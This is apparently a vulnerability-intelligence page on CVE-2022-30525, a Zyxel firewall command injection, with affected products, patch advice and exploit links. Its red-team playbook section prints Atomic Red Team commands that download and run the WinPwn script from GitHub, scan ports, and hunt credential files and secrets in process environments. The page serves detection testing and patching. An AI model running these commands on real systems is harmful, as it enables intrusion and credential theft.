CVE-2022-30525
Overview
This vulnerability is an OS command injection flaw rooted in improper input validation within the CGI program of Zyxel USG FLEX and VPN series firmware. The affected component fails to sanitize user-supplied parameters in HTTP POST requests, allowing injection of arbitrary shell commands. The flaw specifically resides in the handler interface used for device configuration tasks, enabling execution of injected commands at the operating system level.
Vulnerability Description
A OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.
Impact
An unauthenticated attacker can remotely execute arbitrary operating system commands on affected Zyxel devices by exploiting this vulnerability. This enables modification of system files, deployment of malicious payloads, and full compromise of device confidentiality, integrity, and availability. The attacker gains control without requiring any credentials or user interaction, potentially leading to network disruption, data exfiltration, or persistent backdoors within enterprise firewall infrastructure.
Solution
Apply firmware updates provided by Zyxel that address this vulnerability, specifically versions later than 5.21 Patch 1 for USG FLEX, ATP, and VPN series devices. Refer to Zyxel's official security advisory at https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml for detailed patch instructions and version information. No alternative workarounds are documented; prompt firmware upgrade is recommended to mitigate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (16)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Zyxel | Usg Flex 100w Firmware | All |
cpe:2.3:o:zyxel:usg_flex_100w_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg Flex 200 Firmware | All |
cpe:2.3:o:zyxel:usg_flex_200_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg Flex 500 Firmware | All |
cpe:2.3:o:zyxel:usg_flex_500_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg Flex 700 Firmware | All |
cpe:2.3:o:zyxel:usg_flex_700_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Vpn100 Firmware | All |
cpe:2.3:o:zyxel:vpn100_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Vpn1000 Firmware | All |
cpe:2.3:o:zyxel:vpn1000_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Vpn300 Firmware | All |
cpe:2.3:o:zyxel:vpn300_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Vpn50 Firmware | All |
cpe:2.3:o:zyxel:vpn50_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Atp100 Firmware | All |
cpe:2.3:o:zyxel:atp100_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Atp100w Firmware | All |
cpe:2.3:o:zyxel:atp100w_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Atp200 Firmware | All |
cpe:2.3:o:zyxel:atp200_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Atp500 Firmware | All |
cpe:2.3:o:zyxel:atp500_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Atp700 Firmware | All |
cpe:2.3:o:zyxel:atp700_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Atp800 Firmware | All |
cpe:2.3:o:zyxel:atp800_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg Flex 50w Firmware | All |
cpe:2.3:o:zyxel:usg_flex_50w_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg20w-Vpn Firmware | All |
cpe:2.3:o:zyxel:usg20w-vpn_firmware:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (2)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Zyxel Firewall ZTP Unauthenticated Command Injection
exploits/linux/http/zyxel_ztp_rce
|
jbaines-r7 | Unknown | - | View |
|
Zyxel Firewall SUID Binary Privilege Escalation
exploits/linux/local/zyxel_suid_cp_lpe
|
jbaines-r7 | Unknown | - | View |
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Zyxel USG FLEX 5.21 - OS Command Injection | Valentin Lobstein | remote | hardware | - | View |
GitHub PoCs (15)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
shuai06/CVE-2022-30525
Zyxel 防火墙远程命令注入漏洞(CVE-2022-30525)批量检测脚本
|
shuai06 | 33 | 10 | 2022-05-13 | View |
|
jbaines-r7/victorian_machinery
Proof of concept exploit for CVE-2022-30525 (Zxyel firewall command injection)
|
jbaines-r7 | 30 | 13 | 2022-05-10 | View |
|
Henry4E36/CVE-2022-30525
Zyxel 防火墙远程命令注入漏洞(CVE-2022-30525)
|
Henry4E36 | 22 | 2 | 2022-05-13 | View |
|
west9b/CVE-2022-30525
CVE-2022-30525 Zyxel 防火墙命令注入漏洞 POC&EXPC
|
west9b | 12 | 3 | 2022-05-28 | View |
|
savior-only/CVE-2022-30525
Zyxel 防火墙未经身份验证的远程命令注入
|
savior-only | 4 | 2 | 2022-05-13 | View |
|
Chocapikk/CVE-2022-30525-Reverse-Shell
Simple python script to exploit CVE-2022-30525 (FIXED): Zyxel Firewall Unauthenticated Remote Command Injection
|
Chocapikk | 3 | 1 | 2022-05-18 | View |
|
k0sf/CVE-2022-30525
CVE-2022-30525(Zxyel 防火墙命令注入)的概念证明漏洞利用
|
k0sf | 3 | 0 | 2022-05-16 | View |
|
iveresk/cve-2022-30525
Initial POC for the CVE-2022-30525
|
iveresk | 3 | 0 | 2022-05-23 | View |
|
cbk914/CVE-2022-30525_check
|
cbk914 | 2 | 0 | 2023-01-15 | View |
|
M4fiaB0y/CVE-2022-30525
Zyxel Firewall Remote Command Injection Vulnerability (CVE-2022-30525) Batch Detection Script
|
M4fiaB0y | 1 | 1 | 2022-05-15 | View |
|
ProngedFork/CVE-2022-30525
CVE-2022-30525 POC
|
ProngedFork | 1 | 1 | 2022-06-13 | View |
|
arajsingh-infosec/CVE-2022-30525_Exploit
Exploit for CVE-2022-30525
|
arajsingh-infosec | 1 | 1 | 2024-02-27 | View |
|
superzerosec/CVE-2022-30525
CVE-2022-30525 POC exploit
|
superzerosec | 1 | 0 | 2022-05-16 | View |
|
furkanzengin/CVE-2022-30525
A OS Command Injection Vulnerability in the CGI Program of Zyxel
|
furkanzengin | 1 | 0 | 2022-06-12 | View |
|
160Team/CVE-2022-30525
CVE-2022-30525 Zyxel防火墙命令注入漏洞 POC&EXP
|
160Team | 0 | 0 | 2022-05-19 | View |
Threat Feed
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CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-30525 |
| zyxel.com |
GitHub CVE
x_refsource_CONFIRM
|
https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/167176/Zyxel-Remote-Command-Execution.html |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/167182/Zyxel-Firewall-ZTP-Unauthenticated-Command-Injection.html |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/167372/Zyxel-USG-FLEX-5.21-Command-Injection.html |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/168202/Zyxel-Firewall-SUID-Binary-Privilege-Escalation.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-30525 |